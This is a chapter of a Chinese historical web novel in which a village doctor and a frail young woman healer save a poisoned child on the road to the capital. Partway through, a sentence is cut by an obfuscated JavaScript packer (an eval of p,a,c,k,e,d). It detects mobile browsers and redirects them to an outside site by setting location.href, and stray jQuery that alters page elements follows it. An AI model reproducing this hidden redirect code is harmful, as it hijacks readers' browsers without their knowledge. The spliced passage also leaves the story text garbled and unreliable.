小道上,一辆驴车正赶着路。驴车上有四个人。老汉、农妇、一个年轻姑娘和一个7,8岁大的小孩。
老汉驾驶着驴车,不停地挥着鞭子,脸上尽显急色。农妇将小孩紧紧地抱在怀里,脸色也同样不好。
在驴车颠簸间,小孩的脸偶尔露了出来。那是一张发红肿胀的脸,嘴唇却乌得发黑。但渐渐地,小孩的脸色没那么红了。
农妇刚开始有些欣喜,但随着小孩的脸色逐渐发白,她有些绝望起来。
“林大夫……”农妇的声音中带了一丝颤抖。
被称为林大夫的年轻姑娘抿紧了唇,拿出一个药瓶,给小孩灌了下去。小孩的脸色终于没有再继续变化。
“老丈,还能再快些吗?”林大夫知道刚才的药撑不了太久,现在这个小孩就是在与勾魂使者抢时间。
老汉没有回头,只是再次加快了挥鞭的速度。但是他心里清楚,以这个速度下去驴很有可能半路就会倒下。可是没办法,他的孙子就快坚持不住了!
很快,驴车从小道上了去京城的官道。官道虽然人多,却也宽敞,路也好了很多,连驴车的速度都有了小幅的提升。
“嘟噜噜……”马响鼻声透过嘈杂的车辙声传入林大夫耳中,她立即抬头看去。
离她们不远处,停着两架马车,还有7,8匹马,马车边上有人或喝水或走动,显然是在休整。林大夫目光一扫,脸上显现出喜色。
“老丈,婶子,你们先带小虎子走,我去借马。”不等驴车减速,她便翻身跳了下去。
“林大夫!”农妇惊叫出声,“你没事吧?”
林大夫摔在路上,滚了几圈才停下来。她顾不上回应农妇,也顾不上自己有没有受伤,爬起来便往马车的方向跑去。
马车边的人眼看林大夫朝他们而来,几人看似只是随意走动了几步,却不动声色地将前面一架马车围在中间保护起来。
一个男子往前走了几步,朝着林大夫问道:“这位姑娘,是需要帮忙吗?”
林大夫认识他,曾在邑京书院有过几面之缘。陆清安,定西侯与现禁军统领凌将军之子。
她没有浪费时间,快速表明了自己的身份和来意。
“陆小将军,我是安平镇何家村的村医林筝。这是我的身份牌,陆小将军可查验。”林筝将身上系着的腰牌扯下递给男子,“有个孩子中毒昏迷,病情危急,需要立即送往京城回春堂找李大夫救治。请问陆小将军能否借马一用?”
林筝虽是疑问句,但她来了,就是有一定把握眼前的人会借。
果不其然,听林筝说完后,陆清安毫不犹豫地点了头,也没问林筝为何会认识他。
“李大夫今日在回春堂?”他将查验完毕的腰牌还给林筝。
林筝点了点头道:“今日应是轮到回春堂了。”
“林大夫可会骑马?”
林筝摇了摇头。
陆小将军往前看了一眼远去的驴车,正打算开口安排,身后的马车门“吱呀”一声打开了。他立即转身向马车看去。
“林大夫,我家姑娘让你上来。那个孩子,我家姑娘或许能救。”
林筝也往马车看去,马车里的装饰与平常不同,显然是做过改装。里面是两个女子。一个女子倚靠着靠枕,半躺在车上,脸色略有些苍白,与陆清安有七八分相像,但在这已渐热的天气下身上仍盖着薄被,病恹恹的。另一位女子坐在边上,正在招呼她上车,看起来应该是那位姑娘的小丫鬟。
林筝迟疑了一下,随即快步走过去跳上了马车。这位姑娘虽然看起来身体有恙,看起来也比她小了不少,但是她说能救孩子,她便愿意相信。她很清楚,即使借到了马,那个孩子极大可能等不到李大夫的救治。
“窈窈,你的身体……”陆清安的脸上露出一丝担忧。
“无碍。兄长,救人要紧。”半躺着的姑娘神色冷淡疏离,挥挥手让小丫鬟关上了车门。
陆清安见她如此,知道她已做了决定,尊重她的意愿也不再多说,让所有人迅速出发。
马车骤然疾驰,林筝未坐稳,险些从座位上摔出去,小丫鬟连忙扶了一下。
“多谢姑娘。”
“不用谢,林大夫喊我三七就好。”小丫鬟朝林筝笑了一下。
“这位大夫,你说能救那个孩子?”林筝见原本半躺的姑娘起来,然后端端正正地坐着,认真地看着她。
“陆清窈,我的名字。”她说话的声音有些喑哑,“没见到那个孩子之前,我也没办法确定。只能说在治疗中毒这件事上,我的经验比较丰富。”
“林大夫,麻烦你将病者的情况告诉我。”
陆清窈,陆清安,果然是兄妹,但陆小将军不是两位将军的独子么?从未听过他还有个妹妹。林筝念头闪过,但随即就抛之脑后。与陆清窈说起小虎子的情况。
“听病者家属所说,病者早食后上山玩耍,回家后脸色发红。原以为是病者贪玩所致,没曾想到晌午脸色仍未恢复,吃不下东西,且脸开始肿胀,出汗,嘴唇也开始发黑。她觉着不对,连忙送我这诊治。我初步诊断是中毒,为病者催了吐,催吐后为其灌下解毒药水,但并未起效。病者出现症状后病程发展得奇快,在我过来的时候,他的脸色就已由红转白。”
陆清窈接过林筝递给她的药瓶,拨开瓶塞,凑到鼻子下闻了闻,是常见的解毒药。林筝应对中毒的治疗并没有太大的问题,那问题就在病者中的毒上。
“林大夫,可曾诊出是何毒?”
“惭愧,我学术不精,并未诊断出是何毒物。”
陆清窈沉思,她已经将可能引起这种情状的毒物种类在脑海中过了一遍,具体的还是得看到病者才能确定。
她向三七看了一眼。三七会意,立刻从马车的暗格里翻找出一个盒子,递给她。只是见她要用这个盒子,三七的脸色也有些愁。
“放心吧,没事的,我会量力而行的。”不同于对陆清安的冷淡,对着三七,陆清窈温声安抚着。
马车速度很快,说话间,陆清安等人就已来到驴车旁。
“老丈,麻烦你停一下。”
知道是林大夫找来帮忙的农妇连忙让老汉停下驴车。
为了不堵塞道路,马车停在了驴车前面。
林筝和三七先后从马车上跳下。林筝冲至农妇身前,查看小虎子的情况。
三七拿了马凳,扶陆清窈下了车。两人随即快速走到驴车边。
陆清窈往小虎子看去,他的脸已几近全白,嘴唇却极乌黑,额头还在不停地渗出汗水,呼吸微弱,显然已是濒死的状态。
“林大夫,小虎他……”农妇再也忍不住哭泣出声。她在后悔,如果今天小虎没有去山上,或者她能更早点发现孩子的不对劲,是不是还能来得及,至少孩子能撑到见到李大夫。
边上站着的老丈也红了眼,抹了抹泪,那是他的孙子。孩子的父亲,他的儿子还在镇子上打零工补贴家用,根本不知道这事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371179|199911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他可能连孩子最后一面都见不到。
陆清窈皱起了眉,她没有浪费时间,直接挪过小虎子的手来搭脉。然后依次检查了他的眼睛、唇舌、手脚。
“陆大夫,如何?”林筝焦急地问,虽然看到小虎子的状态,她已经不抱多大希望。
“还能救。”陆清窈展眉,说话的语气虽平淡,但语速却极快。
林筝眼睛蓦地一亮。
“婶子,麻烦你下来,我需要将孩子放平在车上。”
“林大夫,麻烦你过来帮忙按住这孩子,我需要给他施针。”
“兄长,麻烦你喊个人过来,固定住驴车。”
“快,时间不多!”
听到孩子还能救,所有人都迅速动起来。这个时候,没有人会去质疑陆清窈。
农妇听到陆清窈的话几乎是立刻滚着从驴车上下来,下来后挣扎了几下才起来。失去孩子的痛苦让她整个人酸软无力。陆清安带来的其中一个女性护卫上前,扶住了她。
“千万不能让马车或孩子动。”陆清窈没有顾及周围发生了什么,只是再次强调了一句,便不再说话,将全副心神放在面前的小虎子上,解开了他的衣衫。
三七已将盒子打开,里面有两个针灸包。她拿出其中一个针灸包,展开,是一排银针,因为没有放针灸包的地方,她手持着放在陆清窈最方便拿取的位置。
陆清窈对银针的位置了然于心,她不需要用眼睛看,手一伸便拿出一根她需要的银针。刚拿起银针时手还有无力,有些抖,但一靠近病者的身体,手已变得极稳。
她一针扎在小虎子心口附近。她施针的动作很快,几个呼吸后,她已完成心口处的针灸,护住了他心脉,转而向腹部。
她先向下腹部施针,再循着穴位与经脉往上腹施针,待上腹施针完毕后,停下来观察小虎子的反应。
没一会儿,小虎子苍白的脸色泛起一抹潮红,紧接着“哇”的一声吐出来一些像黑色血液般的液体,液体中还夹杂着几丝绿色。
小虎子吐完后,脸色变得没那么苍白,甚至发出了很微弱的一声“娘”。
农妇本已止住的泪水再次决堤,想上前却不敢,陆清窈没说治疗结束,她担心坏了陆清窈的治疗。
林筝看看小虎子身上的银针,再看看陆清窈,除了李大夫,她从未见过像陆清窈般施针快又准的人。
小虎子的状态好转,陆清窈却并未放松,只能说这一口黑血吐出,只是暂时保住了这个小孩。这个小孩能不能活下来,还需要看后面。
她先拔去心口处的部分银针,接着顺着心口朝四肢的方向行针,到得手指,小虎子的指尖已隐隐发黑。她针刺在指尖,又拔出,黑血便顺着留了下来。然后是另一只手,再是脚趾。待完成一遍,心口处拔掉的银针再次扎上,换另一处银针拔掉再次循环。
小虎子的身体随着陆清窈的治疗开始剧烈颤动,从一开始几乎声息地喊疼到后面大声喊疼,手脚也开始挣扎,乱踢乱撞。陆清安见林筝一人无法同时顾及手和脚,连忙上去帮忙。
三七一手拿着针灸包,趁间隙替陆清窈擦去脸上的汗。
几次施针下来,陆清窈的脸色变得异常苍白,她身体本就不好,多日赶路的情况下身体状态更是差的离谱。在马车上她想了小孩中毒多种的可能性,没想到令她诧异的是,他中的是一个本不应该出现在这里的毒。
“万相”,它的名字,一种本应只能长在西南群山腹地中的有毒药草。